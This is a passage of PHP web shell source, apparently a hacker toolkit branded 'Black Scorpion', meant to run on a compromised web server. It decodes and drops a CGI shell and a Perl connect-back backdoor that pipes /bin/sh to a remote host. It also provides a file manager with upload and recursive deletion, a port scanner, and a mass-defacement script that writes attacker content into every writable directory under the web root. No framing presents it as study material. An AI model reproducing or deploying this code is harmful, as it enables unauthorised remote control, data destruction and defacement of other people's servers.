1335b3V0IikgIyB1c2VyIHdhbnRzIHRvIGxvZ291dA0Kew0KCSZQZXJmb3JtTG9nb3V0Ow0KfQ==';
1336 $file = fopen("izo.cin", "w+");
1337 $write = fwrite($file, base64_decode($cgishellizocin));
1338 fclose($file);
1339 chmod("izo.cin", 0755);
1340 $netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
1341MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
1342ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
1343MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
1344ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
1345MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
1346Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
1347KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
1348SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
1349ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
1350UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
1351VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
1352ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
1353JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
1354bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
1355ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
1356YXRhY2hlZFxuXG4iOw==';
1357 $file = fopen("dc.pl", "w+");
1358 $write = fwrite($file, base64_decode($netcatshell));
1359 fclose($file);
1360 chmod("dc.pl", 0755);
1361 echo "<iframe src=cgitelnet1/izo.cin width=100% height=100% frameborder=0></iframe> ";
1362 echo '</div>';
1363 printFooter();
1364 }
1365
1366
1367function actioncleanshell()
1368{
1369
1370 $self= $_SERVER["PHP_SELF"]; // Where am i
1371 header("location:$self?mini_shell");
1372}
1373function actioncpcrack()
1374{
1375
1376 $self= $_SERVER["PHP_SELF"]; // Where am i
1377 header("location:$self?cp");
1378}
1379
1380function actionFilesMan() {
1381 printHeader();
1382 echo '<h1>File manager</h1><div class=content>';
1383 if(isset($_POST['p1']) && $_POST['p1']!='deface') {
1384 switch($_POST['p1']) {
1385 case 'uploadFile':
1386 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
1387 echo "Can't upload file!";
1388 break;
1389 break;
1390 case 'mkdir':
1391 if(!@mkdir($_POST['p2']))
1392 echo "Can't create new dir";
1393 break;
1394 case 'delete':
1395 function deleteDir($path) {
1396 $path = (substr($path,-1)=='/') ? $path:$path.'/';
1397 $dh = opendir($path);
1398 while ( ($item = readdir($dh) ) !== false) {
1399 $item = $path.$item;
1400 if ( (basename($item) == "..") || (basename($item) == ".") )
1401 continue;
1402 $type = filetype($item);
1403 if ($type == "dir")
1404 deleteDir($item);
1405 else
1406 @unlink($item);
1407 }
1408 closedir($dh);
1409 rmdir($path);
1410 }
1411 if(is_array(@$_POST['f']))
1412 foreach($_POST['f'] as $f) {
1413 $f = urldecode($f);
1414 if(is_dir($f))
1415 deleteDir($f);
1416 else
1417 @unlink($f);
1418 }
1419 break;
1420
1421
1422
1423
1424 case 'paste':
1425 if($_SESSION['act'] == 'copy') {
1426 function copy_paste($c,$s,$d){
1427 if(is_dir($c.$s)){
1428 mkdir($d.$s);
1429 $h = opendir($c.$s);
1430 while (($f = readdir($h)) !== false)
1431 if (($f != ".") and ($f != "..")) {
1432 copy_paste($c.$s.'/',$f, $d.$s.'/');
1433 }
1434 } elseif(is_file($c.$s)) {
1435 @copy($c.$s, $d.$s);
1436 }
1437 }
1438 foreach($_SESSION['f'] as $f)
1439 copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
1440 } elseif($_SESSION['act'] == 'move') {
1441 function move_paste($c,$s,$d){
1442 if(is_dir($c.$s)){
1443 mkdir($d.$s);
1444 $h = opendir($c.$s);
1445 while (($f = readdir($h)) !== false)
1446 if (($f != ".") and ($f != "..")) {
1447 copy_paste($c.$s.'/',$f, $d.$s.'/');
1448 }
1449 } elseif(is_file($c.$s)) {
1450 @copy($c.$s, $d.$s);
1451 }
1452 }
1453 foreach($_SESSION['f'] as $f)
1454 @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
1455 }
1456 unset($_SESSION['f']);
1457 break;
1458 default:
1459 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
1460 $_SESSION['act'] = @$_POST['p1'];
1461 $_SESSION['f'] = @$_POST['f'];
1462 foreach($_SESSION['f'] as $k => $f)
1463 $_SESSION['f'][$k] = urldecode($f);
1464 $_SESSION['cwd'] = @$_POST['c'];
1465 }
1466 break;
1467 }
1468 echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
1469 }
1470
1471 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
1472 if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
1473 global $sort;
1474 $sort = array('name', 1);
1475 if(!empty($_POST['p1'])) {
1476 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
1477 $sort = array($match[1], (int)$match[2]);
1478 }
1479 echo '<script>
1480 function sa() {
1481 for(i=0;i<document.files.elements.length;i++)
1482 if(document.files.elements[i].type == \'checkbox\')
1483 document.files.elements[i].checked = document.files.elements[0].checked;
1484 }
1485 </script>
1486 <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
1487 <form name=files method=post>';
1488 echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
1489 $dirs = $files = $links = array();
1490 $n = count($dirContent);
1491 for($i=0;$i<$n;$i++) {
1492 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
1493 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
1494 $tmp = array('name' => $dirContent[$i],
1495 'path' => $GLOBALS['cwd'].$dirContent[$i],
1496 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
1497 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
1498 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
1499 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
1500 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
1501 );
1502 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
1503 $files[] = array_merge($tmp, array('type' => 'file'));
1504 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
1505 $links[] = array_merge($tmp, array('type' => 'link'));
1506 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
1507 $dirs[] = array_merge($tmp, array('type' => 'dir'));
1508 }
1509 $GLOBALS['sort'] = $sort;
1510 function cmp($a, $b) {
1511 if($GLOBALS['sort'][0] != 'size')
1512 return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
1513 else
1514 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
1515 }
1516 usort($files, "cmp");
1517 usort($dirs, "cmp");
1518 usort($links, "cmp");
1519 $files = array_merge($dirs, $links, $files);
1520 $l = 0;
1521 foreach($files as $f) {
1522 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
1523 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
1524 $l = $l?0:1;
1525 }
1526 echo '<tr><td colspan=5>
1527 <input type=hidden name=a value=\'FilesMan\'>
1528 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
1529 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1530 <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
1531 if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
1532 echo '</select> <input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="Black_Scorp.html" size="10"/> <input type="button" onclick="g(\'FilesMan\',\''.htmlspecialchars($GLOBALS['cwd']).'\',\'deface\',document.getElementById(\'def\').value)" value="Submit"></td></tr>
1533 </form></table></div>';
1534 printFooter();
1535}
1536
1537
1538function actionPortScanner() {
1539 printHeader();
1540 echo '<center><h1>Port Scanner</h1></center>';
1541 echo '<div class="content">';
1542 echo '<form action="" method="post">';
1543
1544 if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
1545 $start = strip_tags($_POST['start']);
1546 $end = strip_tags($_POST['end']);
1547 $host = strip_tags($_POST['host']);
1548 for($i = $start; $i<=$end; $i++){
1549 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
1550 if($fp){
1551 echo 'Port '.$i.' is <font color=aqua>open</font><br>';
1552 }
1553 flush();
1554 }
1555 } else {
1556 echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
1557 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
1558 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1559 Host: <input type="text" name="host" value="localhost"/><br /><br />
1560 Port start: <input type="text" name="start" value="0"/><br /><br />
1561 Port end:<input type="text" name="end" value="5000"/><br /><br />
1562 <input type="submit" value="Scan Ports" />
1563 </form></center><br /><br />';
1564 }
1565 echo '</div>';
1566 printFooter();
1567}
1568
1569
1570function actionDirDefacer() {
1571 printHeader();
1572 $dirdeface = "IDwhRE9DVFlQRSBodG1sPg0KPGh0bWw+DQoJPGhlYWQ+DQoJCTx0aXRsZT5NYXNzIERlZmFjZSBBbGwgRGlyZWN0b3JpZXMgLSBCbGFjayBTY29ycDwvdGl0bGU+DQoJCTxtZXRhIGNoYXJzZXQ9IlVURi04IiAvPg0KCQk8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iSGFja2VkIEJ5IFByb0JybydzIiAvPg0KCQk8bWV0YSBuYW1lPSJsb2NhdGlvbiIgY29udGVudD0iSGFja2VkIEJ5IEJsYWNrIFNjb3JwaW9uIiAvPg0KCQk8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxODAwIj48IS0tIEZvciBSZWZyZXNoaW5nIFBhZ2UgQWZ0ZXIgMzYwMCBJbnRlcnZhbHMgb2YgdGltZSAtLT4NCgkJPG1ldGEgbmFtZT0id29ya2luZyIgY29udGVudD0iSGFja2VkIEJ5IEJsYWNrIFNjb3JwaW9uIiAvPg0KCQk8bWV0YSBuYW1lPSJhYm91dCIgY29udGVudD0iSGFja2VkIEJ5IEJsYWNrIFNjb3JwaW9uIiAvPg0KICAgICAgICA8bWV0YSBuYW1lPSJhdXRob3IiIGNvbnRlbnQ9IkJsYWNrIFNjb3JwaW9uLCBVbWFyIEFyZmVlbiBTaGFoIiAvPg0KICAgICAgICA8bWV0YSBuYW1lPSJrZXl3b3JkcyIgY29udGVudD0iSGFja2VkLEJ5LEFuMG4sM3hQbG9pVGVSLEhhY2tlZCBCeSBCbGFjayBTY29ycGlvbixCbGFjayBTY29ycGlvbiIgLz4NCgkJPG1ldGEgbmFtZT0icmV2aXNpdC1hZnRlciIgY29udGVudD0iMTgwMCIgLz4NCgkJPG1ldGEgbmFtZT0ibGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuIiAvPg0KCQk8bWV0YSBjb250ZW50PSdnZW5lcmFsJyBuYW1lPSdyYXRpbmcnIC8+DQoJCTxtZXRhIGNvbnRlbnQ9J2dvb2dsZScgbmFtZT0nZ2VuZXJhdG9yJyAvPg0KCQk8bWV0YSBjb250ZW50PSdmb2xsb3csYWxsJyBuYW1lPSdtc25ib3QnIC8+DQoJCTxtZXRhIGNvbnRlbnQ9J2ZvbGxvdyxhbGwnIG5hbWU9J2FsZXhhYm90JyAvPg0KCQk8bWV0YSBjb250ZW50PSdwYWtpc3RhbicgbmFtZT0nZ2VvLnBsYWNlbmFtZScgLz4NCgkJPG1ldGEgY29udGVudD0iaW5kZXgsZm9sbG93LGFsbCIgbmFtZT0iZ29vZ2xlYm90IiAvPg0KCQk8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFLWVkZ2UiIC8+DQoJCTxsaW5rIHJlbD0iU0hPUlRDVVQgSUNPTiIgaHJlZj0iaHR0cDovL2kuaW1ndXIuY29tL0l4M2xoV20uanBnIiAvPg0KCQk8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiIC8+DQoJCTxtZXRhIG5hbWU9J3NlYXJjaCBlbmdpbmVzJyBjb250ZW50PSdBZWl3aSxBbGV4YSxBbGxUaGVXZWIsQWx0YVZpc3RhLEFPTE5ldGZpbmQsQW56d2VycyxDYW5hZGEsRGlyZWN0SGl0LEV1cm9TZWVrLEV4Y2l0ZSxPdmVydHVyZSxHbyxHb29nbGUsSG90Qm90IEluZm9NYWssS2Fub29kbGUsTHljb3MsTWFjaGluZVNpdGUsTmF0aW9uYWwgRGlyZWN0b3J5LE5vcnRoZXJuIExpZ2h0LFNlYXJjaEl0LFNpbXBsZVNlYXJjaCxXZWJzTW9zdExpbmtlZCxXZWJUb3AsV2hhdC1VLVNlZWssQU9MLFlhaG9vLFdlYkNyYXdsZXIsSW5mb3NlZWssRXhjaXRlLE1hZ2VsbGFuLExvb2tTbWFydCxiaW5nLENORVQsR29vZ2xlYm90JyAvPg0KCQk8c3R5bGU+DQoJCQlib2R5IHsNCgkJCWJhY2tncm91bmQtY29sb3I6ICMwODA1MTA7DQoJCQlTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgDQoJCQlTQ1JPTExCQVItSElHSExJR0hULUNPTE9SOiAjMDAwMDAwOyANCgkJCVNDUk9MTEJBUi1TSEFET1ctQ09MT1I6ICMwMDAwMDA7IA0KCQkJU0NST0xMQkFSLUJBU0UtQ09MT1I6ICMwMDAwMDA7DQoJCQljb2xvcjogd2hpdGU7DQoJCQl9DQoJCQlvcHRpb24gew0KCQkJCWNvbG9yOiB3aGl0ZTsNCgkJCQl0ZXh0LWFsaWduOiBjZW50ZXI7DQoJCQkJZm9udC13ZWlnaHQ6IGJvbGQ7IA0KCQkJCWZvbnQtZmFtaWx5OiBjdXJzaXZlOw0KCQkJCWJvcmRlci1sZWZ0OiBibGFjazsNCgkJCQlib3JkZXItcmlnaHQ6IGJsYWNrOw0KCQkJCWJvcmRlci1zdHlsZTogZ3Jvb3ZlOw0KCQkJCWJhY2tncm91bmQtY29sb3I6IGJsYWNrOyB9DQoJCQlzZWxlY3Qgew0KCQkJCWNvbG9yOiB3aGl0ZTsNCgkJCQl0ZXh0LWFsaWduOiBjZW50ZXI7DQoJCQkJZm9udC13ZWlnaHQ6IGJvbGQ7IA0KCQkJCWZvbnQtZmFtaWx5OiBjdXJzaXZlOw0KCQkJCWJvcmRlci1sZWZ0OiBibGFjazsNCgkJCQlib3JkZXItcmlnaHQ6IGJsYWNrOw0KCQkJCWJvcmRlci1zdHlsZTogZ3Jvb3ZlOw0KCQkJCWJhY2tncm91bmQtY29sb3I6IGJsYWNrOyB9DQoJCQlpbnB1dCB7DQoNCgkJCQljb2xvcjogd2hpdGU7DQoJCQkJdGV4dC1hbGlnbjogY2VudGVyOw0KCQkJCWZvbnQtd2VpZ2h0OiBib2xkOyANCgkJCQlmb250LWZhbWlseTogY3Vyc2l2ZTsNCgkJCQlib3JkZXItbGVmdDogYmxhY2s7DQoJCQkJYm9yZGVyLXJpZ2h0OiBibGFjazsNCgkJCQlib3JkZXItc3R5bGU6IGdyb292ZTsNCgkJCQliYWNrZ3JvdW5kLWNvbG9yOiBibGFjazsgDQoJCQl9DQoJCQl0ZXh0YXJlYSB7DQoJCQkJY29sb3I6IHdoaXRlOw0KCQkJCWZvbnQtd2VpZ2h0OiBib2xkOyANCgkJCQlmb250LWZhbWlseTogY3Vyc2l2ZTsNCgkJCQlib3JkZXItbGVmdDogYmxhY2s7DQoJCQkJYm9yZGVyLXJpZ2h0OiBibGFjazsNCgkJCQlib3JkZXItc3R5bGU6IGdyb292ZTsNCgkJCQliYWNrZ3JvdW5kLWNvbG9yOiBibGFjazsgDQoJCQkJZm9udC1zaXplOiA4MCU7DQoJCQl9DQoJCQkuZGVmYWNlX3BhZ2V7DQoJCQkJY29sb3I6IHJlZDsNCgkJCQlmb250LWZhbWlseTogY3Vyc2l2ZTsNCgkJCQl0ZXh0LWFsaWduOiBjZW50ZXI7DQoJCQkJZm9udC1zaXplOiAzMDAlOw0KCQkJfQ0KCQk8L3N0eWxlPg0KCTwvaGVhZD4NCgk8Ym9keT4NCgk8ZGl2IGNsYXNzPSJkZWZhY2VfcGFnZSI+DQoJCTxmb250Pk1hc3MgRGVmYWNlIEFsbCBEaXIgQnkgQmxhY2sgU2NvcnBpb248L2ZvbnQ+DQoJPC9kaXY+DQoJCTw/cGhwIA0KZXJyb3JfcmVwb3J0aW5nKDApOw0KZWNobyAiPGNlbnRlcj48Zm9ybSBhY3Rpb249XCJcIiBtZXRob2Q9XCJwb3N0XCI+XG4iOw0KCWVjaG8gJGRpcnI9JF9QT1NUWydkX2RpciddOw0KCSRpbmRleCA9ICRfUE9TVFsic2NyaXB0Il07DQoJJGluZGV4ID0gc3RyX3JlcGxhY2UoJyInLCInIiwkaW5kZXgpOw0KCSRpbmRleCA9IHN0cmlwc2xhc2hlcygkaW5kZXgpOw0KCWZ1bmN0aW9uIHNhYnVuX21hc3NhbCgkZGlyLCRuYW1hZmlsZSwkaXNpX3NjcmlwdCkgew0KCQlpZihpc193cml0YWJsZSgkZGlyKSkgew0KCQkJJGRpcmEgPSBzY2FuZGlyKCRkaXIpOw0KCQkJZm9yZWFjaCgkZGlyYSBhcyAkZGlyYikgew0KCQkJCSRkaXJjID0gIiRkaXIvJGRpcmIiOw0KCQkJCSRsb2thc2kgPSAkZGlyLicvJy4kZGlyYi4nLycuJG5hbWFmaWxlOw0KCQkJCSRwYXRoID0gZ2V0Y3dkKCkuIi8iOw0KCQkJCSRzaXRlID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddLicvJzsNCgkJCQkkcmV2ID0gc3RyX3JlcGxhY2UoJHBhdGgsICRzaXRlLCAkbG9rYXNpKTsNCgkJCQlpZigkZGlyYiA9PT0gJy4nKSB7DQoJCQkJfSAgZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7DQoJCQkJfSAgZWxzZWlmKCRkaXJiID09PSAnY2dpX2JpbicpIHsNCgkJCQl9ICBlbHNlaWYoJGRpcmIgPT09ICdBa0RrJykgew0KCQkJCX0gIGVsc2VpZigkZGlyYiA9PT0gJ3N5bWxpbmsnKSB7DQoJCQkJfSAgZWxzZWlmKCRkaXJiID09PSAnc3ltbGlua2luZycpIHsNCgkJCQl9ICBlbHNlaWYoJGRpcmIgPT09ICd0cmpueCcpIHsNCgkJCQl9ICBlbHNlaWYoJGRpcmIgPT09ICdzeW1saW5rZWQnKSB7DQoJCQkJfSAgZWxzZWlmKCRkaXJiID09PSAnLmh0YWNjZXNzJykgew0KCQkJCX0gIGVsc2VpZigkZGlyYiA9PT0gJ2dyZWVub3gnKSB7DQoJCQkJfSAgZWxzZWlmKCRkaXJiID09PSAneWFzc2lub3gnKSB7DQoJCQkJfSAgZWxzZWlmKCRkaXJiID09PSAnc21ldmsnKSB7DQoJCQkJfSAgZWxzZWlmKCRkaXJiID09PSAnc21ldmtfY29uZmlncycpIHsNCgkJCQl9ICBlbHNlaWYoJGRpcmIgPT09ICdTbWV2aycpIHsNCgkJCQl9ICBlbHNlaWYoJGRpcmIgPT09ICdTbWV2a19Db25maWdzJykgew0KCQkJCX0gICAgICBlbHNlIHsNCgkJCQkJaWYoaXNfZGlyKCRkaXJjKSkgew0KCQkJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7DQoJCQkJCQkJZWNobyAiPGZvbnQgc3R5bGU9J2NvbG9yOiB3aGl0ZTsgZm9udC1mYW1pbHk6IGN1cnNpdmU7IGZvbnQtc2l6ZTogMTIwJTsnPiIuJHJldi4iPGJyPjwvZm9udD4iOw0KCQkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsNCgkJCQkJCQkkaWR4ID0gc2FidW5fbWFzc2FsKCRkaXJjLCRuYW1hZmlsZSwkaXNpX3NjcmlwdCk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCX0NCgl9IA0KCWlmKCRfUE9TVFsnbWFzcyddID09ICdvbmVkaXInKSB7DQoJCWVjaG8gIjxicj4gVmVyc2kgVGV4dCBBcmVhPGJyPjx0ZXh0YXJlYSBzdHlsZT0nYmFja2dyb3VuZDpibGFjaztvdXRsaW5lOm5vbmU7Y29sb3I6cmVkOycgbmFtZT0naW5kZXgnIHJvd3M9JzEwJyBjb2xzPSc2Nyc+XG4iOw0KCQkkaW5pPSJodHRwOi8vIjsNCgkJJG1haW5wYXRoPSRfUE9TVFtkX2Rpcl07DQoJCSRmaWxlPSRfUE9TVFtkX2ZpbGVdOw0KCQkkZGlyPW9wZW5kaXIoIiRtYWlucGF0aCIpOw0KCQkkY29kZT1iYXNlNjRfZW5jb2RlKCRfUE9TVFtzY3JpcHRdKTsNCgkJJGluZHg9YmFzZTY0X2RlY29kZSgkY29kZSk7DQoJCXdoaWxlKCRyb3c9cmVhZGRpcigkZGlyKSl7DQoJCSRzdGFydD1AZm9wZW4oIiRyb3cvJGZpbGUiLCJ3KyIpOw0KCQkkZmluaXNoPUBmd3JpdGUoJHN0YXJ0LCRpbmR4KTsNCgkJaWYgKCRmaW5pc2gpew0KCQkJZWNobyIkaW5pJHJvdy8kZmlsZVxuIjsNCgkJCX0NCgkJfQ0KCQllY2hvICI8L3RleHRhcmVhPjxicj48YnI+PGJyPjxiPlZlcnNpIFRleHQ8L2I+PGJyPjxicj48YnI+XG4iOw0KCQkkbWFpbnBhdGg9JF9QT1NUW2RfZGlyXTskZmlsZT0kX1BPU1RbZF9maWxlXTsNCgkJJGRpcj1vcGVuZGlyKCIkbWFpbnBhdGgiKTsNCgkJJGNvZGU9YmFzZTY0X2VuY29kZSgkX1BPU1Rbc2NyaXB0XSk7DQoJCSRpbmR4PWJhc2U2NF9kZWNvZGUoJGNvZGUpOw0KCQl3aGlsZSgkcm93PXJlYWRkaXIoJGRpcikpeyRzdGFydD1AZm9wZW4oIiRyb3cvJGZpbGUiLCJ3KyIpOw0KCQkkZmluaXNoPUBmd3JpdGUoJHN0YXJ0LCRpbmR4KTsNCgkJaWYgKCRmaW5pc2gpe2VjaG8gJzxhIGhyZWY9Imh0dHA6Ly8nIC4gJHJvdyAuICcvJyAuICRmaWxlIC4gJyIgdGFyZ2V0PSJfYmxhbmsiPmh0dHA6Ly8nIC4gJHJvdyAuICcvJyAuICRmaWxlIC4gJzwvYT48YnI+JzsgfQ0KCQl9DQoNCgl9DQoJZWxzZWlmKCRfUE9TVFsnbWFzcyddID09ICdtYXNzZGVmYWNlJykgew0KCQllY2hvICI8ZGl2IHN0eWxlPSdtYXJnaW46IDVweCBhdXRvOyBwYWRkaW5nOiA1cHgnPiI7DQoJCXNhYnVuX21hc3NhbCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOw0KCQllY2hvICI8L2Rpdj4iOwl9DQoJZWxzZSB7DQoJCSRkaXJycnIgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddOw0KCQllY2hvICINCgkJPGNlbnRlcj48Zm9udCBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Jz4NCgkJU2VsZWN0IFR5cGU6PGJyPjxicj4NCgkJPC9mb250Pg0KCQk8c2VsZWN0IGNsYXNzPVwic2VsZWN0XCIgbmFtZT1cIm1hc3NcIiAgc3R5bGU9XCJ3aWR0aDogNDUwcHg7XCIgaGVpZ2h0PVwiMTBcIj4NCgkJPG9wdGlvbiB2YWx1ZT1cIm1hc3NkZWZhY2VcIj5NYXNzIERlZmFjZSBBTEwgRGlyPC9vcHRpb24+PC9zZWxlY3Q+PGJyPjxicj4NCgkJPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+Rm9sZGVyOjwvZm9udD48YnI+PGJyPg0KCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZF9kaXInIHZhbHVlPSckZGlycnJyJyBzdHlsZT0nd2lkdGg6IDQ1MHB4OycgaGVpZ2h0PScxMCc+PGJyPjxicj4NCgkJPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+RmlsZW5hbWU6PC9mb250Pjxicj48YnI+DQoJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHZhbHVlPSdwcm9icm9zLnBocCcgc3R5bGU9J3dpZHRoOiA0NTBweDsnIGhlaWdodD0nMTAnPjxicj48YnI+DQoJCTxmb250IHN0eWxlPSd0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsnPkNvbnRlbnQgdG8gQWRkOjwvZm9udD48YnI+PGJyPg0KCQk8dGV4dGFyZWEgbmFtZT0nc2NyaXB0JyBzdHlsZT0nd2lkdGg6IDQ1MHB4OyBoZWlnaHQ6IDIwMHB4Oyc+PC90ZXh0YXJlYT48YnI+PGJyPg0KCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdzdGFydCcgdmFsdWU9Jz4+JyBzdHlsZT0nd2lkdGg6IDQ1MHB4Oyc+PGJyPg0KCQk8L2Zvcm0+PC9jZW50ZXI+IjsNCgl9DQo/Pg0KCTwvYm9keT4NCjwvaHRtbD4=";
1573 $writing = @fopen("locales.php", "w");
1574 @fwrite($writing, base64_decode($dirdeface));
1575 @fclose($writing);
1576 ?>
1577 <center>
1578 <h1>Dir Deface Modified by Blackie</h1>
1579 <br><br>
1580 <iframe src="locales.php" height="700" width="100%"></iframe>
1581 </center>
1582 <br><br>
1583 <?php
1584 printFooter();
1585}
1586
1587
1588
1589
1590function actionStringTools() {
1591 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
1592 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
1593 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
